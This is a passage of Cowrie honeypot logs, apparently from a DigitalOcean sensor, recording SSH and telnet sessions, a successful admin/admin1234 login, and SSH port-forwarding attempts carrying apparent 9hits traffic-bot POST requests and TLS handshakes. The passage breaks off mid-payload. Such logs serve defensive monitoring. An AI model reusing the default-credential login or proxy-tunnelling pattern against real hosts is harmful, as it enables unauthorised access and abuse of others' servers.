{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:22.683186Z","src_ip":"103.60.242.169","session":"ed407039010e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:23.337361Z","src_ip":"113.164.152.20","session":"dd028cadc1a2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:23.754738Z","session":"dd028cadc1a2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:23.865735Z","session":"dd028cadc1a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"34.0","message":"Connection lost after 34.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:24.245255Z","src_ip":"23.175.50.51","session":"a0ee2fc1bcef","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:24.380550Z","src_ip":"113.164.152.20","session":"dd028cadc1a2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/89.0.4389.114 Mobile/14D27 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1144\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=TWdmQyZySHg%2Bek9BV0lxag%3D%3D3XN6j4OjXQXyoZ2T6bqn%2FRVoRWvilSqyZK0zSLgLfIoBUkFQgf1HetiyDq2kOEs837Ex8AiwO%2BsaCC%2FLbA6XCw4aDj6bHQ29cxhf84e5UpbmP59qNs9baRWs7xpSDkBMoxXROuOrM%2BYvQNIxt9CtcMrO8NmMHfFgLExmmrnJjZ8oeH2Ec23tHNVF8SYRP0K79P8GCdne4vSncivCdXBnQcipsq9ey7mQyhSbG3KMC8Re5b0oKBrU0bVcxzZIEpZkRLIe2aCKsEBUop4uAU80KdPKFbVEIk%2BwbvR%2BMBZcOJSINFMGMoozcECk2x9wf1vqxN53yP4L3zjOwpN9QiVcZML8AaL6MQ0HbKzZ5n1uaUFjRUUjaP3GztmqPPx82m2ihHKbMzF6McsYkq0hcknJ0vNu5Mt0RkrFn%2BuJWs%2BLDlrsIreewdJrIVDNqW4LtoAXmbYhdtbW6ZrPB8QeG6eDoYYccbRYOYU%2Bh3S5aGq51Qoryn3PD0M4C2sMpLHwSp9ZRT9YrU0tbb8mE7dyFNj7StuftqsFbh4IZOrUIEvdpK%2FmoFeY23cUBBJe%2Fm344nGV1aTXILZU031AsBa64bPbEOMLIX6VeCAU448p3Ctnfil2bdhzV6vBh3kgirAMKHkG8Q1jDgUD2pENq%2F5jMI0XeWxz2Kpq03yIrvmvkoNZOsU6uB1jakm2agKcAasxWGzPzrGQVVqKYvWafq2lkzMZc3pprCgWlGcTlpRoE6MJhO9FGBUiyoE1E8wntlasnLfQZnT%2FjTKnENYYUMPOSmlLTeEus4ecg%2FKVPJPm0wpr4Bnu6nyiugrm15VRU57BIfvOBjqK%2F9U5335sErGONAkML8R8qF8ZiRNDCGZnNUAWWabU0%2FO9pPkzuqYrkNkgcmaBfIbldYgsSmMohR51V7iaNLQ9vvsO9orwqS9kJa8wz2mKEG7ind%2FJPipPmpzrW1LA13q37zBhAO322vW5sVG%2BuFgHi%2Fv98tQ2EkM%2BSAtXxk0VwoWqLVkwGGk7soJZhJFKE3ue2tDPSE9%2BShDUtq7PwcPHil9IMlXsX3wTgu0jJwI%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/89.0.4389.114 Mobile/14D27 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1144\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=TWdmQyZySHg%2Bek9BV0lxag%3D%3D3XN6j4OjXQXyoZ2T6bqn%2FRVoRWvilSqyZK0zSLgLfIoBUkFQgf1HetiyDq2kOEs837Ex8AiwO%2BsaCC%2FLbA6XCw4aDj6bHQ29cxhf84e5UpbmP59qNs9baRWs7xpSDkBMoxXROuOrM%2BYvQNIxt9CtcMrO8NmMHfFgLExmmrnJjZ8oeH2Ec23tHNVF8SYRP0K79P8GCdne4vSncivCdXBnQcipsq9ey7mQyhSbG3KMC8Re5b0oKBrU0bVcxzZIEpZkRLIe2aCKsEBUop4uAU80KdPKFbVEIk%2BwbvR%2BMBZcOJSINFMGMoozcECk2x9wf1vqxN53yP4L3zjOwpN9QiVcZML8AaL6MQ0HbKzZ5n1uaUFjRUUjaP3GztmqPPx82m2ihHKbMzF6McsYkq0hcknJ0vNu5Mt0RkrFn%2BuJWs%2BLDlrsIreewdJrIVDNqW4LtoAXmbYhdtbW6ZrPB8QeG6eDoYYccbRYOYU%2Bh3S5aGq51Qoryn3PD0M4C2sMpLHwSp9ZRT9YrU0tbb8mE7dyFNj7StuftqsFbh4IZOrUIEvdpK%2FmoFeY23cUBBJe%2Fm344nGV1aTXILZU031AsBa64bPbEOMLIX6VeCAU448p3Ctnfil2bdhzV6vBh3kgirAMKHkG8Q1jDgUD2pENq%2F5jMI0XeWxz2Kpq03yIrvmvkoNZOsU6uB1jakm2agKcAasxWGzPzrGQVVqKYvWafq2lkzMZc3pprCgWlGcTlpRoE6MJhO9FGBUiyoE1E8wntlasnLfQZnT%2FjTKnENYYUMPOSmlLTeEus4ecg%2FKVPJPm0wpr4Bnu6nyiugrm15VRU57BIfvOBjqK%2F9U5335sErGONAkML8R8qF8ZiRNDCGZnNUAWWabU0%2FO9pPkzuqYrkNkgcmaBfIbldYgsSmMohR51V7iaNLQ9vvsO9orwqS9kJa8wz2mKEG7ind%2FJPipPmpzrW1LA13q37zBhAO322vW5sVG%2BuFgHi%2Fv98tQ2EkM%2BSAtXxk0VwoWqLVkwGGk7soJZhJFKE3ue2tDPSE9%2BShDUtq7PwcPHil9IMlXsX3wTgu0jJwI%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:24.384127Z","src_ip":"113.164.152.20","session":"dd028cadc1a2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:24.388757Z","src_ip":"113.164.152.20","session":"dd028cadc1a2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x80\\xc9?\\xd5\\x1b\\x1b\\x8c\\x8f^v\\xb2G\\x8b\\xf6\\x90#\\xc2\\x1an\\xb4l9Vy]\\x92T9\\xfc\\x9c\\x10\\xbb \\x823Ig\\xf8c\\x05\\n;\\x8a\\xbeE\\xd8\\xa3\\x8cB\\x94\\x01@\\xdan;a\\xe0\\xb0!\\xb3G\\x80\\x10Y\\xca\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 N$\\xcbg(\\x04\\x83\\x989 q&\\x11\\xbe8\\xbcL\\xf5\"\\xc8\\r\\xf7\\xd2\\xcb0\\xdf\\xbd\\x11\\xa7\\x92\\x97\\'\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x80\\xc9?\\xd5\\x1b\\x1b\\x8c\\x8f^v\\xb2G\\x8b\\xf6\\x90#\\xc2\\x1an\\xb4l9Vy]\\x92T9\\xfc\\x9c\\x10\\xbb \\x823Ig\\xf8c\\x05\\n;\\x8a\\xbeE\\xd8\\xa3\\x8cB\\x94\\x01@\\xdan;a\\xe0\\xb0!\\xb3G\\x80\\x10Y\\xca\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 N$\\xcbg(\\x04\\x83\\x989 q&\\x11\\xbe8\\xbcL\\xf5\"\\xc8\\r\\xf7\\xd2\\xcb0\\xdf\\xbd\\x11\\xa7\\x92\\x97\\'\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:24.404399Z","src_ip":"113.164.152.20","session":"dd028cadc1a2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:24.688613Z","session":"dd028cadc1a2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:24.968494Z","src_ip":"113.164.152.20","session":"dd028cadc1a2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\t\\x99o\\xf4\\x15\\x937\\xf6K\\xcc\\x8b\\x08\\xb2\\xb5`\\xec.S\\x83\\x13\\xfe\\xa9d\\xcf\\xc3D\\xb7\\xb8\\xd8\\x13nj \\xb6\\xf4\\xfcP\\xfa+Z\\x8e(\\x7fR\\x11\\xb6\\x81\\x12\\xf9n\\xd2C\\x05\\x06?\\x9d)\\xd6\\xc1@-|\\x1b\\xefv\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 f\\xc9p\\x18B\\xc06\\xc0?rv\\x13o\\x9f c\\xd9\\x96\\x0b\\xc6r\\x91\\x15Z\\x8ddm\\x1e\\xe4\\xedE-\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\t\\x99o\\xf4\\x15\\x937\\xf6K\\xcc\\x8b\\x08\\xb2\\xb5`\\xec.S\\x83\\x13\\xfe\\xa9d\\xcf\\xc3D\\xb7\\xb8\\xd8\\x13nj \\xb6\\xf4\\xfcP\\xfa+Z\\x8e(\\x7fR\\x11\\xb6\\x81\\x12\\xf9n\\xd2C\\x05\\x06?\\x9d)\\xd6\\xc1@-|\\x1b\\xefv\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 f\\xc9p\\x18B\\xc06\\xc0?rv\\x13o\\x9f c\\xd9\\x96\\x0b\\xc6r\\x91\\x15Z\\x8ddm\\x1e\\xe4\\xedE-\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:24.971884Z","src_ip":"113.164.152.20","session":"dd028cadc1a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:25.390959Z","src_ip":"113.164.152.20","session":"dd028cadc1a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"25.0","message":"Connection lost after 25.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:26.465858Z","src_ip":"63.141.242.2","session":"dc875e941033","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":57214,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc25875f2337","protocol":"telnet","message":"New connection: 128.199.8.54:57214 (159.203.135.109:23) [session: dc25875f2337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:37.372969Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:41.104251Z","session":"46bfdb3004cc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:41.139460Z","src_ip":"173.208.188.210","session":"46bfdb3004cc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0 Mobile/16A366 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1154\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=eDlpTnpJZDR0U0dYfl5jUg%3D%3D1o4%2BVunOPlDhVTgY7Vjw8GwawvsncvYpiGtpnHf%2Bd%2FhxH6x5AFykGr7irZI7ynP%2BXCl%2BUGpgyDjh4CbPIKkwwuDDYtQJNYFKIP4ANlam2z6mbummE6tbOVXOXWK4cIlyUtzxLOhRDM1BlDgcWHn1BdHZuwbj7qu4j0tsl4nJ6fFh0q5C6tjDFJS4u5XKwIZd6yeP8znGaKqeZ2LwVhujee4rUk0zKFDSZiulvBJXZrvfSS2Nj%2FROvtHsGrC0bdSlgkUiJwx6GFvffi7zeblnZ%2FjSA8C2EZvMSnQ2IV%2BkCToJW6ypqFjKa5Hdtn0aB0RsAOyLC8QzSV8%2Bjk9yhX7MZ8CK7%2FWi3Y4QPM%2FXK8cLzLHEktAqa2mpkyWkOp4iV9FwjVT%2BDX1Bc9maXcwkfs0hY4GcKR4aaUtjvzuyhMSvTf7IkOIPCkFplBiD%2FGFzv9Fp4cG6%2B5pIPS4Fm8JrDTSS5Nz37h6Vrh05xcON3cuv2CQev6CVph3OWx7jxTynECdalQhqWT4pVCbkGJgp4vQ87QVXog5MgkL8gBwzY9skYUNqfGPTjfcGdyzfjIVP4IJYsixVSRcN%2F3a9bW0Z42jleQSwd3b0S2wXa4yzTDmXeX79WEnPoBFQAODtFW14OsWLUMPdZgWnakZH%2F1USkgFZrnWjJQkHvBetPJ0C5wVK%2Bv7FzCMkWMqeTRX20%2FbUQ0WX%2FHyCqClG9F3cmP8ogjcOZF6J9714H3N%2FCh9Ha5ouw5mWKYVy%2BMfEwCMCn23zZYi8G12yte5B6HmVtq3uPDg3su%2Fq1UkCe%2BwW61nauhrzRqkCaV3qpDzo%2FNIwOL7x88QFBkKwh7gPo4QmuM9im6kPb5ohKE5t7Q4jNQD%2F%2FGyqaqPUH5VNEqAl86wOMKTQWQ5xSWly76dumgvbb%2BatEmUNcFLDnZf88KGZMkP8TF1GTeFDLn5K6sf4agfOdEjSJr6HkQ9EjNnR4kU8fb76N5wto3o1qj20ZprYy3NhKKajqjODsmmI8IxpDXIYkNoTppK7zdS31vXNido8